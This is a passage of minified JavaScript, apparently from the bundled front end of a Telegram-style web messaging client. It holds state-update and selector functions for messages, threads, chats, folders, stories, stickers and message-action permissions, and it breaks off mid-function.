o=n(6137),r=n(83716),s=n(65054),a=n(60782),i=n(4463),d=n(7054),c=n(44271);function u(e,t,n=o._f,a="thread",i,u,...[l=(0,s._w)()]){const{messageLists:f}=(0,d.jUK)(e,l);let h=f;if(i||r.Cgt&&!r.NuY)h=t?[{chatId:t,threadId:n,type:a}]:[];else if(t){const e=f[f.length-1];e&&e.chatId===t&&e.threadId===n&&e.type===a||(h=e&&(e.chatId===r.mzl||u)?[...f.slice(0,-1),{chatId:t,threadId:n,type:a}]:[...f,{chatId:t,threadId:n,type:a}])}else h=f.slice(0,-1);return(0,c.i)(e,{messageLists:h},l)}function l(e,t,n){return h(e,t,{byId:n})}function f(e,t,n,o){if(!o)return h(e,t,{threadsById:(0,a.CE)(e.messages.byChatId[t]?.threadsById,[n])});const r=e.messages.byChatId[t];return h(e,t,{threadsById:{...r?.threadsById,[n]:{...r?.threadsById[n],...o}}})}function h(e,t,n){const o=e.messages.byChatId[t]||{byId:{},threadsById:{}};return{...e,messages:{...e.messages,byChatId:{...e.messages.byChatId,[t]:{...o,...n}}}}}function m(e,t,n,o,r,...[a=(0,s._w)()]){return"viewportIds"===o&&(e=p(e,t,n,"lastViewportIds",r)),function(e,t,n,o,...[r=(0,s._w)()]){const a=(0,d.jUK)(e,r),i=a.tabThreads[t]?.[n]||{};return(0,c.i)(e,{tabThreads:{...a.tabThreads,[t]:{...a.tabThreads[t],[n]:{...i,...o}}}},r)}(e,t,n,{[o]:r},a)}function p(e,t,n,o,r){return f(e,t,n,{[o]:r})}function g(e,t){const n=t.reduce(((e,t)=>(e[t.chatId]||(e[t.chatId]={}),e[t.chatId][t.id]=t,e)),{});return Object.keys(n).forEach((t=>{e=y(e,t,n[t])})),e}function y(e,t,n){const o=(0,d.Zwk)(e,t);return o&&Object.keys(n).every((e=>Boolean(o[Number(e)])))?e:l(e,t,{...n,...o})}function b(e,t,n,o){const r=(0,d.Zwk)(e,t)||{},s={...r[n],...o};return s.id?l(e,t,{...r,[n]:s}):e}function v(e,t,n,o){const r=(0,d.yBV)(e,t)||{},s={...r[n],...o};return s.id?L(e,t,{...r,[n]:s}):e}function w(e,t,n){const r=(0,d.Zwk)(e,t);if(!r)return e;(0,i.TO)(n);const s=new Map;s.set(o._f,n),n.forEach((t=>{const n=r[t];if(!n)return;const a=(0,d.nrh)(e,n);if(!a||a===o._f)return;const i=s.get(a)||[];i.push(t),s.set(a,i)}));const c=Object.values((0,a.q0)(r,n)).filter((({forwardInfo:e})=>e?.isLinkedChannelPost));s.forEach(((o,r)=>{const s=(0,d.tZg)(e,t,r);let c=(0,d.gbs)(e,t,r),u=(0,d.KBA)(e,t,r),l=(0,d.xd8)(e,t,r),f=s?.messagesCount;c&&(c=(0,a.pj)(c,o)),l&&(l=l.map((e=>(0,a.pj)(e,o)))),u&&(u=(0,a.pj)(u,(0,i.Fs)(o)));const h=o.filter((e=>!(0,i.AJ)(e))).length;void 0!==f&&(f-=h),Object.values(e.byTabId).forEach((({id:o})=>{let s=(0,d.Cbz)(e,t,r,o);n.forEach((e=>{s?.includes(e)&&(s=s.filter((t=>t!==e)))})),e=m(e,t,r,"viewportIds",s,o)})),e=p(e,t,r,"listedIds",c),e=p(e,t,r,"outlyingLists",l),e=p(e,t,r,"pinnedIds",u),s&&void 0!==f&&(e=M(e,t,r,{messagesCount:f}))})),c.length&&Object.values(e.byTabId).forEach((({id:n})=>{const o=(0,d.Btg)(e,n),r=o&&o.chatId===t&&"thread"===o.type,s=o?.threadId;c.forEach((o=>{const{fromChatId:a,fromMessageId:i}=o.forwardInfo,c=(0,d.hjO)(e,a,i);r&&s===o.id&&(e=u(e,t,void 0,void 0,void 0,void 0,n)),c&&(e=f(e,a,i,void 0))}))}));const h=(0,a.CE)(r,n);return e=l(e,t,h)}function I(e,t,n){const r=(0,d.yBV)(e,t);if(!r)return e;const s=(0,a.CE)(r,n);let i=(0,d.qyA)(e,t,o._f);return i&&(n.forEach((e=>{i.includes(e)&&(i=i.filter((t=>t!==e)))})),e=p(e,t,o._f,"scheduledIds",i),Object.entries(e.messages.byChatId[t].threadsById).forEach((([o,r])=>{if(r.scheduledIds){const s=r.scheduledIds.filter((e=>!n.includes(e)));e=p(e,t,Number(o),"scheduledIds",s)}}))),e=L(e,t,s)}function C(e,t,n,o){const r=(0,d.gbs)(e,t,n),s=r?.length?o.filter((e=>!r.includes(e))):o;return r&&!s.length?e:p(e,t,n,"listedIds",(0,i.TO)([...r||[],...s]))}function S(e,t,n,o){const r=(0,d.xd8)(e,t,n);return r?p(e,t,n,"outlyingLists",r.filter((e=>e!==o))):e}function E(e,t,n,o){if(!o.length)return e;const r=(0,d.xd8)(e,t,n);return p(e,t,n,"outlyingLists",(0,i.Ib)(r||[],o))}function P(e,t,n,o,...[a=(0,s._w)()]){const c=(0,d.Cbz)(e,t,n,a)||[];return c.includes(o)?e:m(e,t,n,"viewportIds",(0,i.TO)([...c.length<r.YQ0?c:c.slice(-r.hT6/2),o]),a)}function k(e,t,n,o,...[r=(0,s._w)()]){const c=(0,d.Cbz)(e,t,n,r)||[],u=(0,i.TO)(o);return m(e,t,n,"viewportIds",(0,a.et)(c,u)?c:u,r)}function T(e,t,n,o){const r=(0,d.KBA)(e,t,n)||[],s=(0,i.Fs)(o);return p(e,t,n,"pinnedIds",(0,a.et)(r,s)?r:s)}function M(e,t,n,o,r){const s={...(0,d.tZg)(e,t,n),...o};if(!r){const t=(0,a.ei)(s,["messagesCount","lastMessageId","lastReadInboxMessageId"]);s.isCommentsInfo?s.threadId&&(e=M(e,s.chatId,s.threadId,t,!0)):s.fromChannelId&&s.fromMessageId&&(e=M(e,s.fromChannelId,s.fromMessageId,t,!0))}return p(e,t,n,"threadInfo",s)}function A(e,t){return t.forEach((t=>{e=M(e,t.isCommentsInfo?t.originChannelId:t.chatId,t.isCommentsInfo?t.originMessageId:t.threadId,t)})),e}function L(e,t,n){return function(e,t,n){const o=e.scheduledMessages.byChatId[t]||{byId:{},hash:0};return{...e,scheduledMessages:{byChatId:{...e.scheduledMessages.byChatId,[t]:{...o,...n}}}}}(e,t,{byId:n})}function N({global:e,chatId:t,messageId:n,threadId:r=o._f,noHighlight:a=!1,isResizingContainer:i=!1,quote:u},...[l=(0,s._w)()]){return(0,c.i)(e,{focusedMessage:{...(0,d.jUK)(e,l).focusedMessage,chatId:t,threadId:r,messageId:n,noHighlight:a,isResizingContainer:i,quote:u}},l)}function R(e,t,n){return{...e,messages:{...e.messages,sponsoredByChatId:{...e.messages.sponsoredByChatId,[t]:n}}}}function Z(e,t,...[n=(0,s._w)()]){return(0,c.i)(e,{focusedMessage:{...(0,d.jUK)(e,n).focusedMessage,direction:t}},n)}function D(e,t,n,...[o=(0,s._w)()]){const r=n?Array.prototype.concat([],n):[];return(0,c.i)(e,{selectedMessages:{chatId:t,messageIds:r}},o)}function B(e,t,n,o,r,i,u,l=!1,...[f=(0,s._w)()]){const{selectedMessages:h}=(0,d.jUK)(e,f);i&&(u=(0,d.xHX)(e,t,i));const m=u||[r];if(!h)return D(e,t,m,f);const{messageIds:p}=h;let g;const y=m.filter((e=>!p.includes(e)));if(y&&!y.length)g=p.filter((e=>!m.includes(e)));else if(l&&p.length){const s=(0,d.$Wy)(e,t,n,o,f),i=s.indexOf(p[p.length-1]),c=s.indexOf(r),u=Math.min(i,c),l=Math.max(i,c),h=s.slice(u,l+1);g=(0,a.Tw)([...p,...h])}else g=[...p,...y];return g.length?(0,c.i)(e,{selectedMessages:{...h,messageIds:g}},f):O(e,f)}function O(e,...[t=(0,s._w)()]){return(0,c.i)(e,{selectedMessages:void 0},t)}function x(e,t,n,o,r){const{channelPostId:s,fromChatId:a}=t.forwardInfo||{};if(s&&a){const t=(0,d.tZg)(e,n,s);t&&(e=p(e,n,s,"threadInfo",{...t,lastMessageId:o,messagesCount:(t.messagesCount||0)+(r?-1:1)}))}return e}function _(e,t,...[n=(0,s._w)()]){const o=(0,d.jUK)(e,n),r=o.activeDownloads.byChatId[t.chatId]||{},i=(t.isScheduled?r?.scheduledIds:r?.ids)||[];return(0,c.i)(e,{activeDownloads:{byChatId:{...o.activeDownloads.byChatId,[t.chatId]:{...r,[t.isScheduled?"scheduledIds":"ids"]:(0,a.Tw)([...i,t.id])}}}},n)}function F(e,t,...[n=(0,s._w)()]){const o=(0,d.jUK)(e,n),r=o.activeDownloads.byChatId[t.chatId];if(!r)return e;const a=(t.isScheduled?r.scheduledIds:r.ids)||[];return(0,c.i)(e,{activeDownloads:{byChatId:{...o.activeDownloads.byChatId,[t.chatId]:{...r,[t.isScheduled?"scheduledIds":"ids"]:a.filter((e=>e!==t.id))}}}},n)}},44271:(e,t,n)=>{n.d(t,{i:()=>r});var o=n(65054);function r(e,t,...[n=(0,o._w)()]){return{...e,byTabId:{...e.byTabId,[n]:{...e.byTabId[n],...t}}}}},14342:(e,t,n)=>{n.d(t,{CT:()=>Z,D2:()=>_,DI:()=>T,Ek:()=>E,FM:()=>p,GD:()=>O,J1:()=>B,JR:()=>R,LM:()=>v,Mw:()=>P,N:()=>S,P_:()=>y,RG:()=>u,UW:()=>M,YK:()=>b,Z1:()=>l,_5:()=>A,ep:()=>k,g4:()=>C,lp:()=>x,mZ:()=>h,nA:()=>N,pk:()=>I,t:()=>w,uH:()=>L,x6:()=>f,xo:()=>g,yE:()=>D});var o=n(6137),r=n(83716),s=n(65054),a=n(97184),i=n(4463),d=n(85967),c=n(86087);function u(e,t){return(0,c.dy)(e,t)||l(e,t)}function l(e,t){return e.chats.byId[t]}function f(e,t){return e.chats.fullInfoById[t]}function h(e,t){return(0,i.YC)(t)?(0,c.cc)(e,t):f(e,t)}function m(e,t){const n=(0,i.zX)(t);return!!n&&(0,c.dy)(e,n)}function p(e,t){return t===e.currentUserId}function g(e,t){const n=m(e,t);return n&&(0,i.cS)(n)}function y(e){return Object.values(e.chats.byId).find((({isSupport:e})=>e))}function b(e,t){const n=f(e,t.id);if(!(0,i.YC)(t.id)&&!(0,i.eA)(t)&&n)return n.members&&n.members.length!==r.mok?n.members.reduce(((t,{userId:n})=>!p(e,n)&&e.users.byId[n]&&(0,i.kM)(e.users.byId[n],e.users.statusesById[n])?t+1:t),0):n.onlineCount}function v(e,t){const n=(0,c.dy)(e,t);return n&&(n.isVerified||e.trustedBotIds.includes(t))}function w(e,t){const n=l(e,t);if(n)return(0,c.kB)(e,t)?"bots":m(e,n)?"users":(0,i.eA)(n)?"channels":"chats"}function I(e,t){const n=l(e,t),r=(0,c.kB)(e,t);if(!n||!r)return!1;if(n.lastMessage&&(0,i.CD)(n.lastMessage))return!0;const s=e.messages.byChatId[t];if(!s)return!1;const{listedIds:a}=s.threadsById[o._f]||{};return a&&!a.length}function C(e){return Boolean(e.chats.listIds.active)}function S(e,t,n){const{listIds:o}=e.chats;if(n){const e=o[n];return Boolean(e&&e.includes(t))}return Object.values(o).some((e=>e&&e.includes(t)))}function E(e,t){const n=l(e,t);if(n&&S(e,t))return n.folderId===r.WSp?"archived":"active"}function P(e,t){return e.chatFolders.byId[t]}function k(e,t,n=r.NfV){const{active:o,archived:s}=e.chats.orderedPinnedIds;if(n===r.NfV)return Boolean(o?.includes(t));if(n===r.WSp)return Boolean(s?.includes(t));const{byId:a}=e.chatFolders,{pinnedChatIds:i}=a[n]||{};return Boolean(i?.includes(t))}function T(e,t){const n=t.toLowerCase();return Object.values(e.chats.byId).find((e=>e.usernames?.some((e=>e.username.toLowerCase()===n))))}function M(e){return Boolean(l(e,r.awM))}function A(e,t){if(!l(e,t))return;const n=f(e,t)?.sendAsId;return n?(0,c.dy)(e,n)||l(e,n):void 0}function L(e,t,...[n=(0,s._w)()]){const{requestedDraft:o}=(0,d.j)(e,n);if(o?.chatId===t&&!o.files?.length)return o.text}function N(e,t,...[n=(0,s._w)()]){const{requestedDraft:o}=(0,d.j)(e,n);if(o?.chatId===t)return o.files}function R(e,t,n){return t.filter((t=>{const o=w(e,t);return!!o&&n.includes(o)}))}function Z(e,t){const n=l(e,t);return!!n&&!n.migratedTo&&Boolean(!(0,i.YC)(t)&&((0,i.eA)(n)||(0,i.ZV)(n)?n.isCreator||(0,i.VE)(n,"inviteUsers")||n.usernames?.length&&!n.isJoinRequest:n.isCreator||(0,i.VE)(n,"inviteUsers")))}function D(e,t){const n=P(e,t);if(!n)return!1;const{bots:o,groups:r,channels:s,contacts:a,nonContacts:i,includedChatIds:d,pinnedChatIds:c,excludeArchived:u,excludeMuted:l,excludeRead:f,excludedChatIds:h}=n;return!o&&!r&&!s&&!a&&!i&&!u&&!l&&!f&&!h?.length&&(c?.length||d.length)&&n.includedChatIds.concat(n.pinnedChatIds||[]).some((t=>Z(e,t)))}function B(e,t){if(!l(e,t))return!1;const{canTranslateChats:n}=e.settings.byKey,o=(0,c.wV)(e),r=p(e,t);return a.SX&&n&&o&&!r}function O(e,t,...[n=(0,s._w)()]){const o=l(e,t);if(!o)return!1;if(x(e,t,n))return!0;const r=B(e,t),a=o.detectedLanguage,{doNotTranslate:i}=e.settings.byKey;return Boolean(r&&a&&!i.includes(a))}function x(e,t,...[n=(0,s._w)()]){const{requestedTranslations:o}=(0,d.j)(e,n);return o.byChatId[t]?.toLanguage}function _(e,t){return e.chats.similarChannelsById[t]}},7054:(e,t,n)=>{n.d(t,{JRp:()=>h.JR,f21:()=>De,_kf:()=>Ae,zB_:()=>Z,tHA:()=>D,Ohz:()=>B,g4C:()=>h.g4,kBx:()=>S.kB,FOo:()=>Dt,bHC:()=>Ge,__o:()=>Nt,xlD:()=>Le,nt7:()=>ke,Nue:()=>Re,w9f:()=>Qe,CT6:()=>h.CT,Yo:()=>wt,W9H:()=>Zt,nB8:()=>Ne,Eh5:()=>st,eB8:()=>Gt,yEv:()=>h.yE,GDM:()=>h.GD,VU8:()=>ft,Z1J:()=>h.Z1,DIA:()=>h.DI,MwT:()=>h.Mw,x67:()=>h.x6,EkO:()=>h.Ek,hjO:()=>me,ZBV:()=>ye,Zwk:()=>$,YK0:()=>h.YK,yBV:()=>U,xfm:()=>dt,taM:()=>h.t,X5I:()=>Fe,jrE:()=>j,yNS:()=>k,JXM:()=>Ot,pPq:()=>vt,weG:()=>yt,$Wy:()=>q,Btg:()=>F,y5E:()=>P,n5x:()=>gt,pri:()=>p,EeF:()=>A,iXW:()=>L,q6x:()=>tt,Mst:()=>se,saH:()=>ne,_$9:()=>te,kKD:()=>ge,hI0:()=>re,nBP:()=>oe,yZJ:()=>de,It8:()=>xe,G$N:()=>be,y84:()=>Ue,cve:()=>Ee,GQU:()=>lt,Nm0:()=>it,PGA:()=>x,ku0:()=>Xe,Si0:()=>O,pkN:()=>h.pk,Nap:()=>h.N,epB:()=>h.ep,AmN:()=>Je,xoo:()=>h.xo,FM1:()=>h.FM,QRV:()=>Bt,wVz:()=>S.wV,a65:()=>He,teg:()=>Ze,hqL:()=>Tt,nd:()=>kt,Evo:()=>_e,CAb:()=>je,zQd:()=>Ct,_XY:()=>ve,KAC:()=>fe,EVS:()=>Ye,vkB:()=>$e,oe5:()=>S.oe,Io8:()=>Mt,Jf5:()=>Et,UWV:()=>h.UW,FWZ:()=>N,TuN:()=>g,LM9:()=>h.LM,s4q:()=>S.s4,b9T:()=>he,rB0:()=>Kt,T6o:()=>ee,VFo:()=>qe,gbs:()=>K,aWT:()=>bt,oC7:()=>nt,q_5:()=>at,xHX:()=>Ve,YQi:()=>ht,U1D:()=>pt,HGB:()=>ct,FTG:()=>Ke,tVX:()=>ae,NJL:()=>Wt,dZI:()=>Ht,dTW:()=>we,ofg:()=>G,xd8:()=>z,ehD:()=>_t,kbX:()=>xt,sp9:()=>Ft,RGZ:()=>h.RG,wUq:()=>w,ZEE:()=>v,mZI:()=>h.mZ,nST:()=>y,JrV:()=>b,yf2:()=>At,$Yd:()=>Lt,KBA:()=>J,EBU:()=>$t,$$M:()=>jt,rdT:()=>Oe,BzW:()=>Ce,p9o:()=>ce,lpX:()=>h.lp,nAc:()=>h.nA,uHr:()=>h.uH,Bdn:()=>ut,WqZ:()=>St,qyA:()=>X,TmO:()=>pe,Vtl:()=>Q,D7c:()=>We,_5C:()=>h._5,Urc:()=>Ie,zDD:()=>Se,J1l:()=>h.J1,yBd:()=>Rt,AqB:()=>rt,D2x:()=>h.D2,Jg1:()=>Vt,fSe:()=>et,aT_:()=>It,Ny0:()=>T,PkN:()=>M,tWo:()=>I,i31:()=>Ut,P_p:()=>h.P_,jUK:()=>m.j,Puy:()=>Pt,cii:()=>W,DbP:()=>le,nrh:()=>Te,tZg:()=>ie,xxG:()=>ue,WPz:()=>H,p$s:()=>Me,Pn:()=>mt,Mc4:()=>zt,uZE:()=>Be,dyD:()=>S.dy,Bki:()=>S.Bk,ccz:()=>S.cc,ssc:()=>S.ss,Cbz:()=>Y,P2Q:()=>ot});var o=n(91713),r=n(65054),s=n(4463),a=n(6137),i=n(83716),d=n(60782),c=n(70735),u=n(82267),l=n(97184),f=n(26646),h=n(14342),m=n(85967);function p(e,...[t=(0,r._w)()]){const{storyViewer:{peerId:n,storyId:o}}=(0,m.j)(e,t);return{peerId:n,storyId:o}}function g(e,...[t=(0,r._w)()]){const{peerId:n,storyId:o}=p(e,t);return Boolean(n)&&Boolean(o)}function y(e,t){return e.stories.byPeerId[t]}function b(e,t,n){return y(e,t)?.byId[n]}function v(e,t){const n=y(e,t);if(!n)return;if(!n.lastReadId)return n.orderedIds?.[0];const o=n.orderedIds.findIndex((e=>e===n.lastReadId));return n.orderedIds?.[o+1]}function w(e,t){return y(e,t)?.orderedIds?.[0]}function I(e,t,n,o,r,s,a){const i=n||v(e,t)||w(e,t);if(!i)return;if(o)return{peerIds:[t],storyIdsByPeerId:{[t]:[i]}};const d=(0,h.RG)(e,t),c=b(e,t,i);if(!d||!c)return;const u=(e.stories.byPeerId[t].lastReadId||0)<c.id;if(r){const n=C(e,t,u,a,s);return n?.length?{peerIds:[t],storyIdsByPeerId:{[t]:n}}:void 0}const{orderedPeerIds:{active:l,archived:f}}=e.stories,m=(d.areStoriesHidden?f:l)??[],p=[],g={};for(const t of m){const n=C(e,t,u,a,s);n?.length&&(p.push(t),g[t]=n)}return p.length?{peerIds:p,storyIdsByPeerId:g}:void 0}function C(e,t,n,o,r){const s=y(e,t),a=o?"archiveIds":r?"pinnedIds":"orderedIds",i=s?.[a];if(!s||!i?.length)return;if(!s.lastReadId||!n)return i.slice();const d=i.indexOf(s.lastReadId);return i.length>d+1?i.slice(d+1):void 0}var S=n(86087);const E={1:"1️⃣",3:"2️⃣",6:"3️⃣",12:"4️⃣",24:"5️⃣"};function P(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).stickerSearch}function k(e,...[t=(0,r._w)()]){return(0,m.j)(e,t).gifSearch}function T(e,t){return"string"==typeof t?e.stickers.setsById[t]:"id"in t?e.stickers.setsById[t.id]:"isMissing"in t?void 0:Object.values(e.stickers.setsById).find((({shortName:e})=>e.toLowerCase()===t.shortName.toLowerCase()))}function M(e,t){const n=e.stickers.added.setIds;let o=[];return e.stickers.favorite.stickers.forEach((e=>{e.emoji===t&&o.push(e)})),n?.forEach((n=>{const r=e.stickers.setsById[n].packs;r&&(o=o.concat(r[t]||[],r[R(t)]||[]))})),o}function A(e,t){const n=(0,S.wV)(e),o=e.customEmojis.added.setIds;let r=[];return o?.forEach((n=>{const o=e.stickers.setsById[n].packs;o&&(r=r.concat(o[t]||[],o[R(t)]||[]))})),n?r:r.filter((({isFree:e})=>e))}function L(e,t){const n=(0,S.wV)(e),o=e.customEmojis.added.setIds;let r=[];return o?.forEach((n=>{const o=e.stickers.setsById[n].packs;if(!o)return;const s=Object.entries(o).filter((([e])=>t.includes(e)||t.includes(R(e)))).flatMap((([,e])=>e));r=r.concat(s)})),n?r:r.filter((({isFree:e})=>e))}function N(e){return e.isEmoji&&e.stickers?.some((e=>!e.isFree))}function R(e){return e.replace("️","")}function Z(e,t){const{animatedEmojis:n}=e;if(!n||!n.stickers)return;const o=R(t);return n.stickers.find((e=>e.emoji===t||e.emoji===o))}function D(e,t){const{animatedEmojiEffects:n}=e;if(!n||!n.stickers)return;const o=R(t);return n.stickers.find((e=>e.emoji===t||e.emoji===o))}function B(e,t){return e?.appConfig?.emojiSounds[R(t)]}function O(e,t){return"id"in t&&(t.id===e.appConfig?.defaultEmojiStatusesStickerSetId||t.id===i.PZg)}function x(e,t=1){const n=e.premiumGifts?.stickers;if(!n)return;const o=E[t];return n.find((e=>e.emoji===o))||n[0]}const _=172800;function F(e,...[t=(0,r._w)()]){const{messageLists:n}=(0,m.j)(e,t);if(n.length)return n[n.length-1]}function j(e,...[t=(0,r._w)()]){const{chatId:n}=F(e,t)||{};return n?(0,h.Z1)(e,n):void 0}function $(e,t){return e.messages.byChatId[t]?.byId}function U(e,t){return e.scheduledMessages.byChatId[t]?.byId}function V(e,t,n,o,...[s=(0,r._w)()]){return(0,m.j)(e,s).tabThreads[t]?.[n]?.[o]}function H(e,t,n,o){return W(e,t,n)?.[o]}function W(e,t,n){const o=e.messages.byChatId[t];if(!o)return;return o.threadsById[n]||void 0}function K(e,t,n){return H(e,t,n,"listedIds")}function G(e,t,n,o){const r=z(e,t,n);if(r)return r.find((e=>e[0]<=o&&e[e.length-1]>=o))}function z(e,t,n){return H(e,t,n,"outlyingLists")}function q(e,t,n,o,...[s=(0,r._w)()]){switch(o){case"thread":return Y(e,t,n,s);case"pinned":return J(e,t,n);case"scheduled":return X(e,t,n)}}function Y(e,t,n,...[o=(0,r._w)()]){return V(e,t,n,"viewportIds",o)}function J(e,t,n){return H(e,t,n,"pinnedIds")}function X(e,t,n){return H(e,t,n,"scheduledIds")}function Q(e,t,n,...[o=(0,r._w)()]){return V(e,t,n,"scrollOffset",o)}function ee(e,t,n){return H(e,t,n,"lastScrollOffset")}function te(e,t,n){return H(e,t,n,"editingId")}function ne(e,t,n){return H(e,t,n,"editingDraft")}function oe(e,t){return H(e,t,a._f,"editingScheduledId")}function re(e,t){return H(e,t,a._f,"editingScheduledDraft")}function se(e,t,n){return H(e,t,n,"draft")}function ae(e,t,n){return H(e,t,n,"noWebPage")}function ie(e,t,n){return H(e,t,n,"threadInfo")}function de(e,t,n){return H(e,t,n,"firstMessageId")}function ce(e,t,n,...[o=(0,r._w)()]){return V(e,t,n,"replyStack",o)}function ue(e,t,n){const o=(0,h.Z1)(e,t),r=ie(e,t,n);if(o&&r&&void 0!==r.messagesCount)return o.isForum&&n!==i.OxA?r.messagesCount-1:r.messagesCount}function le(e,t){const n=Te(e,t);if(n&&n!==a._f)return e.messages.byChatId[t.chatId].threadsById[n]}function fe(e,t,n,...[o=(0,r._w)()]){const s=F(e,o);if(!s)return!1;const{threadInfo:i}=le(e,n)||{};return t===s.chatId&&(s.threadId===a._f||i&&s.threadId===i.threadId)}function he(e,t,n,...[o=(0,r._w)()]){const i=Y(e,t,n,o);if(!i||!i.length)return!0;let d;if(n===a._f){const n=(0,h.Z1)(e,t);if(!n||!n.lastMessage)return!0;d=n.lastMessage.id}else{const o=ie(e,t,n);if(o&&o.lastMessageId)d=o.lastMessageId;else{if(!o?.threadId)return;d=o?.threadId}}return!(!(0,s.AJ)(d)||me(e,t,d))||i[i.length-1]>=d}function me(e,t,n){const o=$(e,t);return o?o[n]:void 0}function pe(e,t,n){const o=U(e,t);return o?o[n]:void 0}function ge(e,t,n,o){if("scheduled"===o){const n=oe(e,t);return n?pe(e,t,n):void 0}{const o=te(e,t,n);return o?me(e,t,o):void 0}}function ye(e,t){let n;for(const o of Object.values(e.messages.byChatId)){const{byId:e}=o;if(n=Object.values(e).find((e=>e.content.poll&&e.content.poll.id===t)),n)break}return n}function be(e,t,...[n=(0,r._w)()]){const{chatId:o,messageId:s}=(0,m.j)(e,n).focusedMessage||{};return o===t?s:void 0}function ve(e,t,n,...[o=(0,r._w)()]){const s=be(e,t.chatId,o),a=(0,m.j)(e,o).focusedMessage?.threadId;return n===a&&!!s&&(s===t.id||s===t.previousLocalId)}function we(e,t,n=!1){return function(e,t){const{lastReadOutboxMessageId:n}=(0,h.Z1)(e,t.chatId)||{};return(0,s.CI)(t)||!n||n<t.id}(e,t)||n?(0,s.RI)(t):"read"}function Ie(e,t){const{senderId:n}=t;if(!n)return;const o=(0,h.Z1)(e,t.chatId);return o&&(0,s.eA)(o)?o:(0,h.RG)(e,n)}function Ce(e,t){const{senderId:n}=t;if(n)return(0,h.RG)(e,n)}function Se(e,t){const{senderUserId:n}=t;if(n)return(0,h.RG)(e,n)}function Ee(e,t){if(Boolean(t.content.storyData)){const n=t.content.storyData.peerId;return(0,h.RG)(e,n)}const{forwardInfo:n}=t;if(n)return n.isChannelPost&&n.fromChatId?(0,h.Z1)(e,n.fromChatId):n.senderUserId?(0,h.RG)(e,n.senderUserId):void 0}const Pe=10;function ke(e,t,n){const o=(0,h.Z1)(e,t);return!!o&&n!==i.OxA&&(o.isCreator||(0,s.VE)(o,"deleteMessages")||o.isForum&&function(e,t,n){const o=(0,h.Z1)(e,t);if(!o)return!1;if(o.topics?.[n]&&!o.topics?.[n].isOwner)return!1;const r=e.messages.byChatId[t]?.threadsById[n];if(!r)return!1;const{listedIds:s}=r;return!(!s||s.length+1>=Pe||s.some((n=>{const o=me(e,t,n);return!o||!o.isOutgoing})))}(e,o.id,n))}function Te(e,t){const n=(0,h.Z1)(e,t.chatId),{content:o}=t,{replyToMsgId:r,replyToTopId:d,isForumTopic:c}=(0,f.H)(t)||{};return"action"in o&&"topicCreate"===o.action?.type?t.id:n?.isForum?c&&(d||r)||i.OxA:n&&(0,s.G9)(n)?a._f:n&&(0,s.ZV)(n)&&(d||r)||a._f}function Me(e,t){const{chatId:n}=t,o=(0,h.Z1)(e,n);if(!o?.isForum)return;const r=Te(e,t);return o.topics?.[r]}function Ae(e,t,n){const o=(0,h.Z1)(e,t.chatId);if(!o||o.isRestricted)return{};const r=(0,s.YC)(o.id),a=(0,h.FM)(e,t.chatId),i=(0,s.G9)(o),d=(0,s.ZV)(o),c=(0,s.eA)(o),l=Boolean((0,S.kB)(e,o.id)),f=(0,s.CI)(t),m=(0,s.FF)(t),p=(0,s.jM)(t),g=(0,s.B4)(t),y=(0,s.MF)(t),v=(0,s.FT)(t),{content:w}=t,I=Me(e,t),C=(a||d&&(0,s.VE)(o,"pinMessages")||c&&(0,s.VE)(o,"editMessages")||(0,u.bp)()-t.date<_)&&!(w.sticker||w.contact||w.poll||w.action||w.audio||w.video?.isRound||w.location||w.invoice||w.giveaway||w.giveawayResults)&&!y&&!t.viaBotId&&!o.isForbidden,E=ie(e,t.chatId,n),P=Boolean(!E?.isCommentsInfo&&E?.fromChannelId),k=!f&&!p&&!o.isForbidden&&(0,s.Qm)(o,n,P)&&(!I||!I.isClosed||I.isOwner||(0,s.VE)(o,"manageTopics")),T=r||o.isCreator||!c&&!(0,s.Mg)(o,"pinMessages")||(0,s.VE)(o,"pinMessages");let M=!f&&!p&&!v&&T,A=!1;const L=J(e,o.id,n);M&&(A=Boolean(L&&L.includes(t.id)),M=!A);const N=(!f||m)&&!p&&(r||g||i||o.isCreator||(0,s.VE)(o,"deleteMessages")),R=!r&&!g,Z=N&&!o.isForbidden&&(r&&!a&&!l||i&&(g||(0,s.VE)(o,"deleteMessages")||o.isCreator)),D=g||c&&(o.isCreator||(0,s.VE)(o,"editMessages")),B=!f&&!v&&C&&D,O=w.storyData?b(e,w.storyData.peerId,w.storyData.id):w.webPage?.story?b(e,w.webPage.story.peerId,w.webPage.story.id):void 0,x=Je(e,t.chatId),F=O&&("isDeleted"in O||"noForwards"in O&&O.noForwards),j=!f&&!v&&!x&&!F&&(t.isForwardingAllowed||p),$=Boolean(t.content.sticker),U=$&&function(e,t){const{stickers:n}=e.stickers.favorite;return n&&n.some((({id:e})=>e===t.id))}(e,t.content.sticker),V=!v&&$&&!U,H=!v&&U,W=!v,K=!f&&!v&&(c||d),G=!f&&!v,z=Boolean(w.webPage?.document||w.webPage?.video||w.webPage?.photo||w.audio||w.voice||w.photo||w.video||w.document||w.sticker),q=t.content.video?.isGif,Y=w.poll,X=!Y?.summary.closed&&!Y?.summary.quiz&&Y?.results.results?.some((e=>e.isChosen)),Q=D&&Y&&!Y.summary.closed&&!y;return{noOptions:[k,B,M,A,R,N,Z,j,V,H,W,K,G,z,q,X,Q].every((e=>!e)),canReply:k,canEdit:B,canPin:M,canUnpin:A,canReport:R,canDelete:N,canDeleteForAll:Z,canForward:j,canFaveSticker:V,canUnfaveSticker:H,canCopy:W,canCopyLink:K,canSelect:G,canDownload:z,canSaveGif:q,canRevote:X,canClosePoll:Q}}function Le(e,...[t=(0,r._w)()]){const{messageIds:n}=(0,m.j)(e,t).selectedMessages||{},{chatId:o,threadId:s}=F(e,t)||{},a=o&&$(e,o);if(!a||!n||!s)return{};const i=n.map((t=>a[t]&&Ae(e,a[t],s))).filter(Boolean);return{canDelete:i.every((e=>e.canDelete)),canDeleteForAll:i.every((e=>e.canDeleteForAll))}}function Ne(e,...[t=(0,r._w)()]){const{messageIds:n}=(0,m.j)(e,t).selectedMessages||{},{chatId:o,threadId:s}=F(e,t)||{},a=o&&$(e,o);return!!(a&&n&&s)&&n.map((t=>a[t]&&Ae(e,a[t],s))).filter(Boolean).every((e=>e.canReport))}function Re(e,...[t=(0,r._w)()]){const{messageIds:n}=(0,m.j)(e,t).selectedMessages||{},{chatId:o,threadId:s}=F(e,t)||{},a=o&&$(e,o);return!!(a&&n&&s)&&n.map((t=>a[t]&&Ae(e,a[t],s))).filter(Boolean).some((e=>e.canDownload))}function Ze(e,t,...[n=(0,r._w)()]){const 